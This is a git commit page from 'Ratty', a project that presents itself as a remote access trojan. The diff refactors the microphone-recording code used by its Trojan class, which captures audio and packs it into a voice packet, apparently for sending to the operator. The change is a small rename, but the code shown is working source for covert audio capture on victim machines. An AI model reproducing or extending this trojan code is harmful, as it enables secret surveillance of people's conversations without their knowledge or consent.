Browse Source

Minor changes

Cleanups
master
Sogomn 9 years ago
parent
commit
2f563ecae2
  1. 2
      Ratty/src/de/sogomn/rat/Trojan.java
  2. 14
      Ratty/src/de/sogomn/rat/VoiceRecorder.java

2
Ratty/src/de/sogomn/rat/Trojan.java

@ -17,7 +17,7 @@ public final class Trojan implements IClientObserver {
final VoiceRecorder recorder = new VoiceRecorder();
final VoicePacket voice = (VoicePacket)packet;
recorder.setMaximum(MICROPHONE_BUFFER_SIZE);
recorder.setLimit(MICROPHONE_BUFFER_SIZE);
recorder.addListener((source, data) -> {
voice.setData(data);

14
Ratty/src/de/sogomn/rat/VoiceRecorder.java

@ -15,14 +15,12 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
private TargetDataLine line;
private Thread thread;
private int maximum;
private int limit;
private static final int BUFFER_SIZE = 1024;
public VoiceRecorder(final int maximum) {
this.maximum = maximum;
out = new ByteArrayOutputStream();
this.limit = maximum;
}
public VoiceRecorder() {
@ -50,7 +48,7 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
public void start() {
final Runnable runnable = () -> {
while (out.size() < maximum) {
while (out.size() < limit) {
captureAudio();
}
@ -62,10 +60,10 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
};
try {
out = new ByteArrayOutputStream();
line = AudioSystem.getTargetDataLine(null);
thread = new Thread(runnable);
out.reset();
line.open();
line.start();
thread.start();
@ -87,8 +85,8 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
}
}
public void setMaximum(final int maximum) {
this.maximum = maximum;
public void setLimit(final int limit) {
this.limit = limit;
}
}
Loading…
Cancel
Save